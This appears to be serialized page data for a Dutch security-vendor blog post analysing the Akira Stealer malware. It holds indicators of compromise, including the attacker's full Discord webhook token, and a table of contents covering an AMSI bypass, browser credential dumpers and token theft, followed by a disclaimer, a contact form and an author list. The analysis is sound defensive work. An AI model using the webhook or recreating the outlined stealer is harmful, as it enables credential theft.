1413,12681,574],{},[1413,12683,12684],{},[551,12685,12686],{},"36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0",[1413,12688,12689],{},"37652937",[827,12691],{"className":12692},[830,831],[715,12694,12696],{"id":12695},"_5-discord-telegram-identifiers","5. Discord- & Telegram-identifiers",[533,12698,721],{},[1392,12700,4687,12702],{"className":12701,"style":4686},[11113],[1408,12703,12704,4687,12710,4687,12720,4687,12730],{},[1398,12705,4692,12706,4692,12708,4687],{},[1401,12707,12047],{"style":6307},[1401,12709,1406],{"style":4856},[1398,12711,4692,12712,4692,12715,4687],{},[1413,12713,12714],{},"Discord webhook-ID",[1413,12716,12717],{},[551,12718,12719],{},"1226766972675428372",[1398,12721,4692,12722,4692,12725,4687],{"style":4713},[1413,12723,12724],{},"Discord webhook-token",[1413,12726,12727],{},[551,12728,12729],{},"BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz",[1398,12731,4692,12732,4692,12735,4687],{},[1413,12733,12734],{},"Telegram-ID",[1413,12736,12737],{},[551,12738,12739],{},"5035121855",[827,12741],{"className":12742},[830,831],[528,12744,12746],{"id":12745},"_14-terugblik-op-het-akira-stealer-incident-versterk-je-verdediging-met-glueckkanja-csoc","14. Terugblik op het Akira Stealer-incident: versterk je verdediging met glueckkanja CSOC",[533,12748,535],{},[533,12750,12751],{},"In deze blogpost hebben we het geraffineerde karakter van de Akira Infostealer onderzocht, een geavanceerde cyberdreiging die zich kenmerkt door gerichte credential theft, onopvallende data-exfiltratie en persistence-methoden die traditionele verdediging ontwijken. Begrijpen hoe deze malware werkt, welke risico's ze meebrengt en welke kwetsbaarheden ze uitbuit, is essentieel voor een robuuste securitystrategie.",[533,12753,12754],{},"De Akira Infostealer richt zich specifiek op gevoelige data zoals inloggegevens, browsersessies, cryptowallets, messagingdiensten en persoonlijke of bedrijfsbestanden. De berekende en precieze werkwijze vraagt meer dan standaard securitymaatregelen, namelijk continue monitoring, diepgaande forensische analyse en proactieve threat intelligence.",[533,12756,12757],{},"Bij glueckkanja CSOC zetten we onze diepe technische expertise en geavanceerde analysecapaciteit in om verder te gaan dan simpele detectie. Ons gespecialiseerde team monitort dreigingen doorlopend in real time vanaf onze eigen CSOC-servers, waardoor dreigingen zoals de Akira Infostealer direct worden geïdentificeerd, grondig onderzocht en effectief onschadelijk gemaakt.",[533,12759,12760],{},"Ons werk stopt echter niet bij incident response. Elk gedetecteerd incident verrijkt onze kennisbasis, versterkt onze security posture en zorgt ervoor dat we toekomstige dreigingen enkele stappen voor blijven. Met glueckkanja CSOC krijg je meer dan bescherming, namelijk een adaptieve securitypartner die zich inzet voor jouw weerbaarheid op lange termijn.",[533,12762,12763],{},"Zet de volgende stap in het beveiligen van de digitale assets van je organisatie.",[533,12765,12766],{},"Neem vandaag contact op met de cybersecurity-experts van glueckkanja, dan beveiligen we samen proactief jouw toekomst.",[533,12768,12769],{},[540,12770,12771],{},"Versterk je verdediging met glueckkanja CSOC.",[528,12773,12775],{"id":12774},"_15-security-en-juridische-disclaimer-gebruik-van-echte-malwarecode","15. Security- en juridische disclaimer – gebruik van echte malwarecode",[533,12777,535],{},[533,12779,12780],{},"Deze publicatie bevat gedetailleerde technische inzichten, waaronder codefragmenten en gedragsanalyses die afkomstig zijn van daadwerkelijk schadelijke software die tijdens incident response en forensisch onderzoek is aangetroffen. Het doel van het delen van deze informatie is strikt educatief en bedoeld om professionele verdedigers te helpen dreigingen uit de praktijk beter te begrijpen, te detecteren en erop te reageren. We publiceren dit in goed vertrouwen en met de intentie bij te dragen aan de bredere securitycommunity.",[533,12782,12783],{},"Belangrijk is dat delen van de opgenomen code afkomstig zijn uit toolkits van threat actors en uit malwaresamples die in het wild circuleren. Deze fragmenten zijn niet ons intellectuele eigendom en mogen niet als veilig, opgeschoond of anderszins \"ongevaarlijk\" worden beschouwd. Het reproduceren of operationeel gebruiken van dergelijke code raden we expliciet af. Lezers moeten begrijpen dat dit materiaal een onderzoeks- en bewustwordingsfunctie heeft, maar inherent een risicoprofiel meebrengt dat niet onderschat mag worden.",[533,12785,12786],{},"Alleen getrainde professionals die binnen juridisch toegestane omgevingen werken, zoals geaccrediteerde securityteams, SOC-units, academische onderzoekers of malwarelabs, zouden met de beschreven technieken of code aan de slag moeten gaan. Alle experimenten moeten beperkt blijven tot geïsoleerde systemen buiten productie en voldoen aan de toepasselijke wetgeving, interne richtlijnen en ethische normen.",[533,12788,12789],{},"We bieden geen support of validatie voor gereproduceerde code of gedrag. Er is geen garantie op juistheid, relevantie of volledigheid. Daarnaast wijzen we elk gebruik van deze content voor offensieve doeleinden, ongeautoriseerd red teaming, commerciële malwareontwikkeling of adversarial testing buiten een juridisch afgebakende scope expliciet af. Misbruik kan juridische gevolgen hebben. glueckkanja AG wijst elke verantwoordelijkheid af voor directe of indirecte schade die voortkomt uit het gebruik of de verkeerde interpretatie van deze content.",[533,12791,12792],{},"Door deze content verder te lezen of eraan te refereren, erken je het bovenstaande en ga je ermee akkoord geen enkel deel ervan te misbruiken, te repliceren of toe te passen in onwettige of onethische contexten. Twijfel je, raadpleeg dan je juridische afdeling, compliance of functionaris gegevensbescherming voordat je met live code-analyse of vergelijkbaar technisch materiaal aan de slag gaat.",[533,12794,12795],{},"Deze publicatie wordt geleverd \"as is\", zonder garantie, support of aansprakelijkheid.",[12797,12798,12799],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":594,"searchDepth":2061,"depth":2061,"links":12801},[12802,12803,12804,12805,12816,12817,12818,12819,12820,12821,12822,12823,12825,12826,12827,12828,12829,12830,12831,12832,12833,12836,12844,12845,12846,12852,12870,12888,12889,12890,12891,12899,12906,12913,12922,12929,12930,12931,12932,12933,12934,12935,12936,12937,12938,12939,12940,12941,12942,12943,12944],{"id":717,"depth":2061,"text":718},{"id":767,"depth":2061,"text":768},{"id":787,"depth":2061,"text":788},{"id":843,"depth":2061,"text":844,"children":12806},[12807,12808,12810,12812,12814],{"id":864,"depth":2067,"text":865},{"id":917,"depth":2067,"text":12809},"2.1.2 Updater.exe: initiële loader",{"id":1023,"depth":2067,"text":12811},"2.1.3 main.exe: geobfusceerde NodeJS payload container",{"id":1142,"depth":2067,"text":12813},"2.1.4 cmd.exe & PowerShell-relay",{"id":1253,"depth":2067,"text":12815},"2.1.5 python.exe met astor.py",{"id":1387,"depth":2061,"text":1388},{"id":1476,"depth":2061,"text":1477},{"id":1553,"depth":2061,"text":1554},{"id":1634,"depth":2061,"text":1635},{"id":1704,"depth":2061,"text":1705},{"id":1783,"depth":2061,"text":1784},{"id":1894,"depth":2061,"text":1895},{"id":2011,"depth":2061,"text":12824},"4.2 AMSI-bypasstechniek (class: gofor4msi)",{"id":2197,"depth":2061,"text":2198},{"id":2316,"depth":2061,"text":2317},{"id":2416,"depth":2061,"text":2417},{"id":2512,"depth":2061,"text":2513},{"id":2587,"depth":2061,"text":2588},{"id":2658,"depth":2061,"text":2659},{"id":2717,"depth":2061,"text":2718},{"id":2858,"depth":2061,"text":2859},{"id":2920,"depth":2061,"text":2921,"children":12834},[12835],{"id":2932,"depth":2067,"text":2933},{"id":3287,"depth":2061,"text":3288,"children":12837},[12838,12839,12840,12841,12842,12843],{"id":3296,"depth":2067,"text":3297},{"id":3410,"depth":2067,"text":3411},{"id":3608,"depth":2067,"text":3609},{"id":3900,"depth":2067,"text":3901},{"id":3977,"depth":2067,"text":3978},{"id":4139,"depth":2067,"text":4140},{"id":4374,"depth":2061,"text":4375},{"id":4421,"depth":2061,"text":4422},{"id":4433,"depth":2061,"text":4434,"children":12847},[12848,12849,12850,12851],{"id":4439,"depth":2067,"text":4440},{"id":4483,"depth":2067,"text":4484},{"id":4544,"depth":2067,"text":4545},{"id":4579,"depth":2067,"text":4580},{"id":4615,"depth":2061,"text":12853,"children":12854},"7.3 Anti-analyse / evasie (klasse: VmProtect)",[12855,12856,12857,12858,12860,12861,12862,12863,12864,12865,12866,12867,12868,12869],{"id":4624,"depth":2067,"text":4625},{"id":4640,"depth":2067,"text":4641},{"id":4680,"depth":2067,"text":4681},{"id":4772,"depth":2067,"text":12859},"7.3.4 Architectuur van VmProtect",{"id":5123,"depth":2067,"text":5124},{"id":5189,"depth":2067,"text":5190},{"id":5258,"depth":2067,"text":5259},{"id":5322,"depth":2067,"text":5323},{"id":5390,"depth":2067,"text":5391},{"id":5447,"depth":2067,"text":5448},{"id":5545,"depth":2067,"text":5546},{"id":5615,"depth":2067,"text":5616},{"id":6071,"depth":2067,"text":6072},{"id":6118,"depth":2067,"text":6119},{"id":6132,"depth":2061,"text":6133,"children":12871},[12872,12873,12875,12877,12879,12881,12883,12885,12887],{"id":6291,"depth":2067,"text":6292},{"id":6399,"depth":2067,"text":12874},"7.4.2 Wachtwoorddumper (Chromium.GetPasswords)",{"id":6521,"depth":2067,"text":12876},"7.4.3 Creditcarddumper (Chromium.GetCreditCards)",{"id":6603,"depth":2067,"text":12878},"7.4.4 Cookiedumper (Chromium.GetCookies)",{"id":6682,"depth":2067,"text":12880},"7.4.5 Google-sessiedumper (Chromium.dump_google_sessions)",{"id":6809,"depth":2067,"text":12882},"7.4.6 Geschiedenisdumper (Chromium.GetHistory)",{"id":6878,"depth":2067,"text":12884},"7.4.7 Autofill-dumper (Chromium.GetAutofills)",{"id":6941,"depth":2067,"text":12886},"7.4.8 Firefox-profielgrabber (GeckoDriver & grabFirefoxProfiles)",{"id":7019,"depth":2067,"text":7020},{"id":7058,"depth":2061,"text":7059},{"id":7390,"depth":2061,"text":7391},{"id":7504,"depth":2061,"text":7505},{"id":7833,"depth":2061,"text":7834,"children":12892},[12893,12894,12895,12896,12897,12898],{"id":7842,"depth":2067,"text":7843},{"id":7994,"depth":2067,"text":7995},{"id":8100,"depth":2067,"text":8101},{"id":8225,"depth":2067,"text":8226},{"id":8292,"depth":2067,"text":8293},{"id":8417,"depth":2067,"text":8418},{"id":8522,"depth":2061,"text":12900,"children":12901},"7.9. Discord- en Telegram-tokendiefstal (Class: Discord)",[12902,12903,12904,12905],{"id":8536,"depth":2067,"text":8537},{"id":8667,"depth":2067,"text":8668},{"id":8912,"depth":2067,"text":8913},{"id":8994,"depth":2067,"text":8995},{"id":9063,"depth":2061,"text":9064,"children":12907},[12908,12910,12911,12912],{"id":9076,"depth":2067,"text":12909},"7.10.1 Initialisatie van de Data-klasse",{"id":9174,"depth":2067,"text":9175},{"id":9294,"depth":2067,"text":9295},{"id":9360,"depth":2067,"text":9361},{"id":9437,"depth":2061,"text":12914,"children":12915},"7.11 File Grabber (klasse: Utils.steal_files)",[12916,12917,12918,12919,12920,12921],{"id":9449,"depth":2067,"text":9450},{"id":9520,"depth":2067,"text":9521},{"id":9582,"depth":2067,"text":9583},{"id":9615,"depth":2067,"text":9616},{"id":9644,"depth":2067,"text":9645},{"id":9822,"depth":2067,"text":9823},{"id":9932,"depth":2061,"text":9933,"children":12923},[12924,12925,12926,12927,12928],{"id":9941,"depth":2067,"text":9942},{"id":9956,"depth":2067,"text":9957},{"id":10035,"depth":2067,"text":10036},{"id":10184,"depth":2067,"text":10185},{"id":10416,"depth":2067,"text":10417},{"id":10772,"depth":2061,"text":10773},{"id":10803,"depth":2061,"text":10804},{"id":10927,"depth":2061,"text":10928},{"id":11039,"depth":2061,"text":11040},{"id":11090,"depth":2061,"text":11091},{"id":11268,"depth":2061,"text":11269},{"id":11318,"depth":2061,"text":11319},{"id":11362,"depth":2061,"text":11363},{"id":11402,"depth":2061,"text":11403},{"id":11492,"depth":2061,"text":11493},{"id":11509,"depth":2061,"text":11510},{"id":12033,"depth":2061,"text":12034},{"id":12339,"depth":2061,"text":12340},{"id":12460,"depth":2061,"text":12461},{"id":12523,"depth":2061,"text":12524},{"id":12695,"depth":2061,"text":12696},"md","post",{"lang":12948,"seoTitle":12949,"titleClass":12950,"date":12951,"categories":12952,"blogtitlepic":12953,"socialimg":12954,"customExcerpt":12955,"keywords":12956,"maxContent":325,"asideNav":12957,"footer":13006,"contactInContent":13007,"published":325},"nl","Akira Stealer: technische analyse van een modulaire info-stealer","h2-font-size","2025-06-16",[235],"head-quiet-breach.png","/blog/heads/head-quiet-breach.png","Het begon met één Defender-alert in Microsoft 365. Geen malware, geen signatures, geen paniek. Alleen een fluistering in de ruis. Wat we vonden waren maanden van credential theft: chirurgisch, stil en bijna onzichtbaar. Zo maakte ons CSOC van een zwak signaal een volledige respons. En gaf onze klant de controle terug voordat hij wist dat die weg was.","Microsoft 365 Security, detectie van credential theft, incident response, Microsoft Defender, managed security services, cloud security, threat detection, detectie van cyberaanvallen, CSOC, advanced threat protection",{"menuItems":12958},[12959,12961,12964,12967,12970,12973,12976,12979,12982,12985,12988,12991,12994,12997,13000,13003],{"href":12960,"text":531},"#proloog",{"href":12962,"text":12963},"#_1-initiële-gebeurtenis-en-samenvatting-van-de-triage","Initiële gebeurtenis en samenvatting van de triage",{"href":12965,"text":12966},"#_2-malware-architectuur-en-overzicht-van-de-execution-chain","Malware-architectuur en overzicht van de execution chain",{"href":12968,"text":12969},"#_3-deep-dive-updaterexe","Deep Dive: Updater.exe",{"href":12971,"text":12972},"#_4-deep-dive-powbat","Deep Dive: pow.bat",{"href":12974,"text":12975},"#_5-deep-dive-mainexe-op-electron-gebaseerde-malware-loader","Deep Dive: main.exe",{"href":12977,"text":12978},"#_6-deep-dive-inputjs-de-versleutelde-javascript-payload-loader","Deep Dive: input.js",{"href":12980,"text":12981},"#_7-deepdive-akira-stealer-v2-astorpy","DeepDive: Akira Stealer v2",{"href":12983,"text":12984},"#_8-circulaire-uitvoeringsketen-een-self-healing-loop","Circulaire execution chain",{"href":12986,"text":12987},"#_9-blockchain-tracking-en-analyse","Blockchain tracking en analyse",{"href":12989,"text":12990},"#_10-binnen-het-akira-ecosysteem-gecommercialiseerde-cybercrime-infrastructuur","Binnen het Akira-ecosysteem",{"href":12992,"text":12993},"#_11-akira-stealer-quickcheck-getroffen-bestanden","Akira Stealer QuickCheck: getroffen bestanden",{"href":12995,"text":12996},"#_12-voorbij-respons-hoe-glueckkanja-csoc-incidenten-omzet-in-inzichten","Hoe glueckkanja CSOC incidenten omzet in inzichten",{"href":12998,"text":12999},"#_13-indicators-of-compromise-iocs","Indicators of Compromise (IOCs)",{"href":13001,"text":13002},"#_14-terugblik-op-het-akira-stealer-incident-versterk-je-verdediging-met-glueckkanja-csoc","Terugblik op het Akira Stealer-incident",{"href":13004,"text":13005},"#_15-security-en-juridische-disclaimer-gebruik-van-echte-malwarecode","Security & juridische disclaimer",{"noMargin":325},{"quote":484,"infos":13008},{"bgColor":13009,"color":13010,"boxBgColor":13011,"boxColor":13012,"headline":13013,"subline":13014,"level":715,"textStyling":13015,"flush":13016,"person":13017,"form":13029},"var(--color-gk-violet)","var(--color-gk-white)","var(--color-gk-yellow)","var(--color-copy)","Neem nu contact op","Als toonaangevende Microsoft Security MSSP beschermen we bedrijven elke dag tegen cyberdreigingen. Laten we praten en samen je cyberverdediging versterken.","text-light","justify-content-end",{"image":13018,"cloudinary":325,"alt":13019,"name":13019,"detailsHeader":13020,"details":13021},"/people/people-pam-team.png","Project & Account Management","We horen graag van je",[13022,13026],{"text":492,"href":13023,"details":13024,"icon":13025},"tel:+49 69 4005520","Nu bellen","site/phone",{"text":493,"href":13027,"icon":13028},"mailto:info@glueckkanja.com","site/mail",{"ctaText":13030,"cta":13031,"method":12946,"action":13033,"fields":13034},"Verzenden",{"skin":13032},"primary on-surface","/send",[13035,13039,13043,13046,13050,13055,13058,13061],{"type":13036,"id":13037,"value":13038},"hidden","_next","successful",{"label":13040,"type":593,"id":13041,"required":325,"requiredMsg":13042},"Naam*","name","Vul je naam in.",{"label":13044,"type":593,"id":403,"required":325,"requiredMsg":13045},"Bedrijf*","Vul je bedrijf in.",{"label":13047,"type":13048,"id":13048,"required":325,"requiredMsg":13049},"E-mailadres*","email","Vul je e-mailadres in.",{"label":13051,"type":13052,"id":13053,"required":325,"requiredMsg":13054},"Je gegevens worden bij ons opgeslagen om je aanvraag te verwerken en te beantwoorden. Meer informatie over gegevensbescherming vind je in onze \u003Ca href=\"/nl/privacy\">privacyverklaring\u003C/a>.","checkbox","dataprotection","Bevestig dit",{"type":13036,"id":13056,"value":13057},"_subject","Form: Blog MSSP 2025 | NL",{"type":13036,"id":13059,"value":13060},"inbox_key","gkgab-contact-form",{"type":13036,"id":13062},"_gotcha","/posts/2025-06-16-quiet-breach",{"title":521,"description":535},"posts/2025-06-16-quiet-breach",[13067,13068,13069,13070],"Microsoft 365 Defender","Threat Intelligence","Cyber Security Operations Center","Incident Deep Dive","eWynmA0_G_3vP2R7k1_n6IDax_n_Vvai_e5AdrGxh-o",{"id":13073,"extension":13074,"meta":13075,"stem":8,"__hash__":13424},"authors_data/authors.json","json",{"path":13076,"Fritz Zurhorst":13077,"Alexander Schlindwein":13083,"Sophie Luna":13089,"Nadine Klein":13097,"Karsten Kleinschmidt":13103,"Julian Wendt":13111,"Holger Bunkradt":13116,"Ralf Mania":13122,"Oliver Kieselbach":13128,"Steffen Schwerdtfeger":13134,"Gunnar Winter":13142,"Jan Petersen":13147,"Thorsten Kunzi":13152,"Moritz Pohl":13156,"Thorben Pöschus":13161,"Christoph Hannebauer":13167,"Marco Scheel":13171,"Christopher Brumm":13176,"Florian Klante":13183,"Niklas Bachmann":13188,"Nils Krautkrämer":13193,"Patrick Treptau":13199,"Peter Beckendorf":13204,"Patrick Sobau":13209,"Jörg Wunderlich":13214,"Michael Breither":13218,"Christian Kanja":13223,"Zeba Hoffmann":13229,"Jochen Fröhlich":13234,"Jan Geisbauer":13238,"Gerrit Reinke":13249,"Christian Kordel":13255,"Stephan Wälde":13259,"Carolin Kanja":13264,"Adrian Ritter":13270,"Marvin Bangert":13275,"Thorsten Pickhan":13281,"Christian Lorenz":13287,"Denis Böhm":13292,"Fabian Bader":13297,"Juan Jose Fernandez Perez":13303,"Mahschid Sayyar":13308,"Benjamin Dassow":13313,"Markus Walschburger":13318,"Jonathan Haist":13323,"Daniel Rohregger":13328,"Thomas Naunheim":13333,"Florian Stöckl":13338,"Pascal Asch":13343,"Markus Kättner":13347,"Anna Ulbricht":13354,"Annette Brauns":13361,"body":13367,"title":13423},"/authors",{"display_name":13078,"avatar":13079,"permalink":13080,"linkedin":13081,"imageOffsetTop":13082},"Fritz Zurhorst","people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":13084,"avatar":13085,"permalink":13086,"twitter":13087,"linkedin":13088},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":13090,"avatar":13091,"permalink":13092,"twitter":13093,"linkedin":13094,"imageOffsetLeft":13095,"imageOffsetTop":13096},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":13098,"avatar":13099,"permalink":13100,"twitter":13101,"linkedin":13102,"imageOffsetTop":13082},"Nadine Klein","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":13104,"avatar":13105,"permalink":13106,"twitter":13107,"linkedin":13108,"imageOffsetTop":13109,"imageOffsetLeft":13110},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":13112,"avatar":13113,"permalink":13114,"linkedin":13115},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":13117,"avatar":13118,"permalink":13119,"linkedin":13120,"twitter":13121},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":13123,"avatar":13124,"permalink":13125,"linkedin":13126,"twitter":13127},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":13129,"avatar":13130,"permalink":13131,"linkedin":13132,"twitter":13133},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":13135,"avatar":13136,"permalink":13137,"linkedin":13138,"twitter":13139,"imageOffsetTop":13140,"imageOffsetLeft":13141},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":13143,"avatar":13144,"permalink":13145,"twitter":13093,"linkedin":13146},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":13148,"avatar":13149,"permalink":13150,"twitter":13093,"linkedin":13151},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":13153,"avatar":13154,"permalink":13155,"twitter":13093,"linkedin":13146,"imageOffsetTop":13082},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":13157,"avatar":13158,"permalink":13159,"twitter":13093,"linkedin":13160},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":13162,"avatar":13163,"permalink":13164,"twitter":13165,"linkedin":13166},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":13168,"avatar":13169,"permalink":13170,"twitter":13093,"linkedin":13146,"imageOffsetTop":13082},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":13172,"avatar":13173,"permalink":13174,"twitter":13175,"linkedin":13175},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":13177,"avatar":13178,"permalink":13179,"twitter":13180,"linkedin":13181,"imageOffsetTop":13182},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":13184,"avatar":13185,"permalink":13186,"linkedin":13187,"twitter":13093},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":13189,"avatar":13190,"permalink":13191,"linkedin":13192,"twitter":13093},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":13194,"avatar":13195,"permalink":13196,"twitter":13197,"linkedin":13198},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":13200,"avatar":13201,"permalink":13202,"linkedin":13203,"twitter":13093},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":13205,"avatar":13206,"permalink":13207,"linkedin":13208,"twitter":13093,"imageOffsetTop":13082},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":13210,"avatar":13211,"permalink":13212,"linkedin":13213,"twitter":13093},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":13215,"avatar":13216,"permalink":13217,"twitter":13093},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":13219,"avatar":13220,"permalink":13221,"twitter":13093,"linkedin":13222},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":13224,"avatar":13225,"permalink":13226,"twitter":13227,"linkedin":13228},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":13230,"avatar":13231,"permalink":13232,"linkedin":13233,"twitter":13093},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":13235,"avatar":13236,"permalink":13237,"twitter":13093,"linkedin":13146},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":13239,"avatar":13240,"permalink":13241,"twitter":13242,"linkedin":13242,"imageOffsetTop":13082,"socials":13243},"Jan Geisbauer","people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[13244,13246],{"text":472,"href":13245},"https://emptydc.com",{"text":13247,"href":13248},"Podcast","https://hairlessinthecloud.com",{"display_name":13250,"avatar":13251,"permalink":13252,"twitter":13253,"linkedin":13254},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":13256,"avatar":13257,"permalink":13258,"twitter":13093,"linkedin":13146},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":13260,"avatar":13261,"permalink":13262,"twitter":13263,"linkedin":13146},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":13265,"avatar":13266,"permalink":13267,"twitter":13268,"linkedin":13269},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":13271,"avatar":13272,"permalink":13273,"twitter":13274,"linkedin":13274},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":13276,"avatar":13277,"permalink":13278,"twitter":13279,"linkedin":13280},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":13282,"avatar":13283,"permalink":13284,"twitter":13285,"linkedin":13286},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":13288,"avatar":13289,"permalink":13290,"linkedin":13291,"twitter":13093},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":13293,"avatar":13294,"permalink":13295,"linkedin":13296,"twitter":13093},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":13298,"avatar":13299,"permalink":13300,"linkedin":13301,"twitter":13302},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":13304,"avatar":13305,"permalink":13306,"linkedin":13307},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":13309,"avatar":13310,"permalink":13311,"linkedin":13312},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":13314,"avatar":13315,"permalink":13316,"linkedin":13317},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":13319,"avatar":13320,"permalink":13321,"linkedin":13322},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":13324,"avatar":13325,"permalink":13326,"linkedin":13327,"imageOffsetTop":13082},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":13329,"avatar":13330,"permalink":13331,"linkedin":13332,"imageOffsetTop":13082},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":13334,"avatar":13335,"permalink":13336,"linkedin":13337,"imageOffsetTop":13182},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":13339,"avatar":13340,"permalink":13341,"linkedin":13342,"imageOffsetTop":13182},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":523,"avatar":13344,"permalink":13345,"linkedin":13346,"imageOffsetTop":13182},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":13348,"avatar":13349,"permalink":13350,"linkedin":13351,"imageOffsetTop":13352,"imageOffsetLeft":13353},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":13355,"avatar":13356,"permalink":13357,"linkedin":13358,"imageOffsetTop":13359,"imageOffsetLeft":13360},"Anna 